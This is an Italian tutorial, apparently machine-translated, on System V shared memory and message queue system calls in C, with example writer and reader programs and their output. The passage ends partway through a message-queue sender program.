Esaminiamo alcuni dettagli delle chiamate di sistema relative alla memoria condivisa.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)
La chiamata di sistema precedente crea o alloca un segmento di memoria condivisa System V. Gli argomenti che devono essere passati sono i seguenti:
Il first argument, key,riconosce il segmento di memoria condivisa. La chiave può essere un valore arbitrario o uno che può essere derivato dalla funzione di libreria ftok (). La chiave può anche essere IPC_PRIVATE, significa, eseguire processi come server e client (relazione genitore e figlio) cioè, comunione tra processi correlati. Se il client desidera utilizzare la memoria condivisa con questa chiave, deve essere un processo figlio del server. Inoltre, il processo figlio deve essere creato dopo che il genitore ha ottenuto una memoria condivisa.
Il second argument, size, è la dimensione del segmento di memoria condivisa arrotondata al multiplo di PAGE_SIZE.
Il third argument, shmflg,specifica i flag di memoria condivisa richiesti come IPC_CREAT (creazione di un nuovo segmento) o IPC_EXCL (utilizzato con IPC_CREAT per creare un nuovo segmento e la chiamata non riesce, se il segmento esiste già). È necessario passare anche le autorizzazioni.
Note - Fare riferimento alle sezioni precedenti per i dettagli sulle autorizzazioni.
Questa chiamata restituirà un identificatore di memoria condivisa valido (utilizzato per ulteriori chiamate di memoria condivisa) in caso di successo e -1 in caso di errore. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)
La chiamata di sistema di cui sopra esegue l'operazione di memoria condivisa per il segmento di memoria condivisa di System V, cioè allegando un segmento di memoria condivisa allo spazio degli indirizzi del processo chiamante. Gli argomenti che devono essere passati sono i seguenti:
The first argument, shmid,è l'identificatore del segmento di memoria condivisa. Questo id è l'identificatore della memoria condivisa, che è il valore di ritorno della chiamata di sistema shmget ().
The second argument, shmaddr,è specificare l'indirizzo di collegamento. Se shmaddr è NULL, il sistema sceglie per impostazione predefinita l'indirizzo adatto per collegare il segmento. Se shmaddr non è NULL e SHM_RND è specificato in shmflg, l'attacco è uguale all'indirizzo del multiplo più vicino di SHMLBA (Lower Boundary Address). In caso contrario, shmaddr deve essere un indirizzo allineato alla pagina in cui si verifica / inizia l'allegato della memoria condivisa.
The third argument, shmflg, specifica i flag di memoria condivisa richiesti come SHM_RND (arrotondamento dell'indirizzo a SHMLBA) o SHM_EXEC (consente l'esecuzione del contenuto del segmento) o SHM_RDONLY (allega il segmento a scopo di sola lettura, per impostazione predefinita è lettura-scrittura) o SHM_REMAP (sostituisce la mappatura esistente nell'intervallo specificato da shmaddr e continua fino alla fine del segmento).
Questa chiamata restituirà l'indirizzo del segmento di memoria condivisa collegato in caso di successo e -1 in caso di errore. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)
La chiamata di sistema di cui sopra esegue l'operazione di memoria condivisa per il segmento di memoria condivisa di System V per staccare il segmento di memoria condivisa dallo spazio di indirizzi del processo chiamante. L'argomento che deve essere passato è:
L'argomento, shmaddr, è l'indirizzo del segmento di memoria condivisa da scollegare. Il segmento da scollegare deve essere l'indirizzo restituito dalla chiamata di sistema shmat ().
Questa chiamata restituirà 0 in caso di successo e -1 in caso di fallimento. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
La chiamata di sistema precedente esegue l'operazione di controllo per un segmento di memoria condivisa System V. È necessario passare i seguenti argomenti:
Il primo argomento, shmid, è l'identificatore del segmento di memoria condivisa. Questo id è l'identificatore della memoria condivisa, che è il valore di ritorno della chiamata di sistema shmget ().
Il secondo argomento, cmd, è il comando per eseguire l'operazione di controllo richiesta sul segmento di memoria condivisa.
I valori validi per cmd sono -
IPC_STAT- Copia le informazioni dei valori correnti di ogni membro di struct shmid_ds nella struttura passata indicata da buf. Questo comando richiede l'autorizzazione di lettura per il segmento di memoria condivisa.
IPC_SET - Imposta l'ID utente, l'ID gruppo del proprietario, i permessi, ecc. Puntati dalla struttura buf.
IPC_RMID- Contrassegna il segmento da distruggere. Il segmento viene distrutto solo dopo che l'ultimo processo lo ha scollegato.
IPC_INFO - Restituisce le informazioni sui limiti e sui parametri della memoria condivisa nella struttura indicata da buf.
SHM_INFO - Restituisce una struttura shm_info contenente informazioni sulle risorse di sistema consumate dalla memoria condivisa.
Il terzo argomento, buf, è un puntatore alla struttura della memoria condivisa chiamata struct shmid_ds. I valori di questa struttura verrebbero utilizzati per set o get come da cmd.
Questa chiamata restituisce il valore a seconda del comando passato. In caso di successo di IPC_INFO e SHM_INFO o SHM_STAT restituisce l'indice o l'identificatore del segmento di memoria condivisa o 0 per altre operazioni e -1 in caso di errore. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
Consideriamo il seguente programma di esempio.
Crea due processi, uno per la scrittura nella memoria condivisa (shm_write.c) e un altro per la lettura dalla memoria condivisa (shm_read.c)
Il programma esegue la scrittura nella memoria condivisa tramite il processo di scrittura (shm_write.c) e la lettura dalla memoria condivisa mediante il processo di lettura (shm_read.c)
Nella memoria condivisa, il processo di scrittura, crea una memoria condivisa di dimensione 1K (e flag) e allega la memoria condivisa
Il processo di scrittura scrive 5 volte gli alfabeti da "A" a "E" ciascuno di 1023 byte nella memoria condivisa. L'ultimo byte indica la fine del buffer
Il processo di lettura legge dalla memoria condivisa e scrive sullo standard output
Le azioni di processo di lettura e scrittura vengono eseguite simultaneamente
Dopo il completamento della scrittura, il processo di scrittura si aggiorna per indicare il completamento della scrittura nella memoria condivisa (con la variabile completa in struct shmseg)
Il processo di lettura esegue la lettura dalla memoria condivisa e viene visualizzato sull'output fino a quando non riceve l'indicazione del completamento del processo di scrittura (variabile completa nella struttura shmseg)
Esegue il processo di lettura e scrittura per alcune volte per semplificazione e anche per evitare loop infiniti e complicare il programma
Di seguito è riportato il codice per il processo di scrittura (Scrittura nella memoria condivisa - File: shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
Fasi di compilazione ed esecuzione
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete
Di seguito è riportato il codice per il processo di lettura (lettura dalla memoria condivisa e scrittura sullo standard output - File: shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Fasi di compilazione ed esecuzione
segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Perché abbiamo bisogno di code di messaggi quando abbiamo già la memoria condivisa? Sarebbe per molteplici ragioni, proviamo a suddividerlo in più punti per semplificazione -
Come inteso, una volta che il messaggio viene ricevuto da un processo, non sarebbe più disponibile per nessun altro processo. Mentre nella memoria condivisa, i dati sono disponibili per l'accesso a più processi.
Se vogliamo comunicare con piccoli formati di messaggio.
I dati della memoria condivisa devono essere protetti con la sincronizzazione quando più processi comunicano contemporaneamente.
La frequenza di scrittura e lettura utilizzando la memoria condivisa è elevata, quindi sarebbe molto complesso implementare la funzionalità. Non vale per quanto riguarda l'utilizzo in questo tipo di casi.
E se tutti i processi non avessero bisogno di accedere alla memoria condivisa ma solo pochi processi ne avessero bisogno, sarebbe meglio implementarli con le code di messaggi.
Se vogliamo comunicare con diversi pacchetti di dati, supponiamo che il processo A invii il tipo di messaggio 1 al processo B, il tipo di messaggio 10 al processo C e il tipo di messaggio 20 al processo D. In questo caso, è più semplice implementarlo con le code di messaggi. Per semplificare il tipo di messaggio dato come 1, 10, 20, può essere 0 o + ve o –ve come discusso di seguito.
Naturalmente, l'ordine della coda dei messaggi è FIFO (First In First Out). Il primo messaggio inserito in coda è il primo ad essere recuperato.
L'utilizzo della memoria condivisa o delle code di messaggi dipende dalle necessità dell'applicazione e dall'efficacia con cui possono essere utilizzate.
La comunicazione tramite le code di messaggi può avvenire nei seguenti modi:
Scrittura nella memoria condivisa da un processo e lettura dalla memoria condivisa da un altro processo. Come sappiamo, la lettura può essere eseguita anche con più processi.
Scrittura nella memoria condivisa da un processo con diversi pacchetti di dati e lettura da esso da più processi, cioè, in base al tipo di messaggio.
Dopo aver visto alcune informazioni sulle code dei messaggi, ora è il momento di controllare la chiamata di sistema (System V) che supporta le code dei messaggi.
Per eseguire la comunicazione utilizzando le code di messaggi, di seguito sono riportati i passaggi:
Step 1 - Crea una coda di messaggi o connettiti a una coda di messaggi già esistente (msgget ())
Step 2 - Scrivi nella coda dei messaggi (msgsnd ())
Step 3 - Leggi dalla coda dei messaggi (msgrcv ())
Step 4 - Eseguire operazioni di controllo sulla coda dei messaggi (msgctl ())
Ora, controlliamo la sintassi e alcune informazioni sulle chiamate precedenti.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)
Questa chiamata di sistema crea o alloca una coda di messaggi di System V. Devono essere passati i seguenti argomenti:
Il primo argomento, key, riconosce la coda dei messaggi. La chiave può essere un valore arbitrario o uno che può essere derivato dalla funzione di libreria ftok ().
Il secondo argomento, shmflg, specifica i flag della coda dei messaggi richiesti come IPC_CREAT (creazione della coda messaggi se non esiste) o IPC_EXCL (utilizzato con IPC_CREAT per creare la coda messaggi e la chiamata non riesce, se la coda messaggi esiste già). È necessario passare anche le autorizzazioni.
Note - Fare riferimento alle sezioni precedenti per i dettagli sulle autorizzazioni.
Questa chiamata restituirà un identificatore di coda di messaggi valido (utilizzato per ulteriori chiamate di coda di messaggi) in caso di successo e -1 in caso di errore. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
Vari errori rispetto a questa chiamata sono EACCESS (autorizzazione negata), EEXIST (la coda esiste già non può creare), ENOENT (la coda non esiste), ENOMEM (memoria insufficiente per creare la coda), ecc.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
Questa chiamata di sistema invia / aggiunge un messaggio alla coda dei messaggi (Sistema V). Devono essere passati i seguenti argomenti:
Il primo argomento, msgstr, riconosce la coda dei messaggi, cioè l'identificatore della coda dei messaggi. Il valore dell'identificatore viene ricevuto dopo il successo di msgget ()
Il secondo argomento, msgp, è il puntatore al messaggio, inviato al chiamante, definito nella struttura del modulo seguente:
struct msgbuf {
long mtype;
char mtext[1];
};
La variabile mtype viene utilizzata per comunicare con diversi tipi di messaggi, spiegati in dettaglio nella chiamata msgrcv (). La variabile mtext è un array o un'altra struttura la cui dimensione è specificata da msgsz (valore positivo). Se il campo mtext non viene menzionato, viene considerato come messaggio di dimensione zero, il che è consentito.
Il terzo argomento, msgsz, è la dimensione del messaggio (il messaggio dovrebbe terminare con un carattere nullo)
Il quarto argomento, msgflg, indica determinati flag come IPC_NOWAIT (restituisce immediatamente quando non viene trovato alcun messaggio in coda o MSG_NOERROR (tronca il testo del messaggio, se più di msgsz byte)
Questa chiamata restituirà 0 in caso di successo e -1 in caso di fallimento. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
Questa chiamata di sistema recupera il messaggio dalla coda dei messaggi (System V). Devono essere passati i seguenti argomenti:
Il primo argomento, msgstr, riconosce la coda dei messaggi, cioè l'identificativo della coda dei messaggi. Il valore dell'identificatore viene ricevuto dopo il successo di msgget ()
Il secondo argomento, msgp, è il puntatore del messaggio ricevuto dal chiamante. È definito nella struttura del modulo seguente:
struct msgbuf {
long mtype;
char mtext[1];
};
La variabile mtype viene utilizzata per comunicare con diversi tipi di messaggi. La variabile mtext è un array o un'altra struttura la cui dimensione è specificata da msgsz (valore positivo). Se il campo mtext non viene menzionato, viene considerato come messaggio di dimensione zero, il che è consentito.
Il terzo argomento, msgsz, è la dimensione del messaggio ricevuto (il messaggio dovrebbe terminare con un carattere nullo)
Il quarto argomento, msgtype, indica il tipo di messaggio -
If msgtype is 0 - Legge il primo messaggio ricevuto nella coda
If msgtype is +ve - Legge il primo messaggio nella coda di tipo msgtype (se msgtype è 10, quindi legge solo il primo messaggio di tipo 10 anche se altri tipi potrebbero essere nella coda all'inizio)
If msgtype is –ve - Legge il primo messaggio di tipo più basso minore o uguale al valore assoluto del tipo di messaggio (ad esempio, se msgtype è -5, allora legge il primo messaggio di tipo inferiore a 5 cioè, tipo di messaggio da 1 a 5)
Il quinto argomento, msgflg, indica determinati flag come IPC_NOWAIT (restituisce immediatamente quando non viene trovato alcun messaggio nella coda o MSG_NOERROR (tronca il testo del messaggio se più di msgsz byte)
Questa chiamata restituirà il numero di byte effettivamente ricevuti nell'array mtext in caso di successo e -1 in caso di errore. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)
Questa chiamata di sistema esegue le operazioni di controllo della coda dei messaggi (Sistema V). Devono essere passati i seguenti argomenti:
Il primo argomento, msgstr, riconosce la coda dei messaggi, cioè l'identificativo della coda dei messaggi. Il valore dell'identificatore viene ricevuto dopo il successo di msgget ()
Il secondo argomento, cmd, è il comando per eseguire l'operazione di controllo richiesta sulla coda dei messaggi. I valori validi per cmd sono -
IPC_STAT- Copia le informazioni dei valori correnti di ogni membro di struct msqid_ds nella struttura passata indicata da buf. Questo comando richiede l'autorizzazione di lettura sulla coda dei messaggi.
IPC_SET - Imposta l'ID utente, l'ID gruppo del proprietario, i permessi, ecc. Puntati dalla struttura buf.
IPC_RMID - Rimuove immediatamente la coda dei messaggi.
IPC_INFO - Restituisce informazioni sui limiti e sui parametri della coda dei messaggi nella struttura indicata da buf, che è di tipo struct msginfo
MSG_INFO - Restituisce una struttura msginfo contenente informazioni sulle risorse di sistema consumate dalla coda dei messaggi.
Il terzo argomento, buf, è un puntatore alla struttura della coda dei messaggi denominata struct msqid_ds. I valori di questa struttura verrebbero utilizzati per set o get come da cmd.
Questa chiamata restituirà il valore a seconda del comando passato. Il successo di IPC_INFO e MSG_INFO o MSG_STAT restituisce l'indice o l'identificatore della coda dei messaggi o 0 per altre operazioni e -1 in caso di errore. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
Dopo aver visto le informazioni di base e le chiamate di sistema riguardo alle code di messaggi, ora è il momento di controllare con un programma.
Vediamo la descrizione prima di guardare il programma -
Step 1 - Creare due processi, uno per l'invio nella coda dei messaggi (msgq_send.c) e un altro per il recupero dalla coda dei messaggi (msgq_recv.c)
Step 2- Creazione della chiave, utilizzando la funzione ftok (). Per questo, inizialmente viene creato il file msgq.txt per ottenere una chiave univoca.
Step 3 - Il processo di invio esegue quanto segue.
Legge l'input della stringa dall'utente
Rimuove la nuova riga, se esiste
Invia alla coda dei messaggi
Ripete il processo fino alla fine dell'inserimento (CTRL + D)
Una volta ricevuta la fine dell'input, invia il messaggio “end” per indicare la fine del processo
Step 4 - Nel processo di ricezione, esegue quanto segue.
- Legge il messaggio dalla coda
- Visualizza l'output
- Se il messaggio ricevuto è "end", termina il processo ed esce
Per semplificare, non stiamo utilizzando il tipo di messaggio per questo esempio. Inoltre, un processo sta scrivendo nella coda e un altro processo sta leggendo dalla coda. Questo può essere esteso in base alle necessità, ovvero, idealmente un processo scriverebbe nella coda e più processi leggerebbero dalla coda.
Ora, controlliamo il processo (invio del messaggio in coda) - File: msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
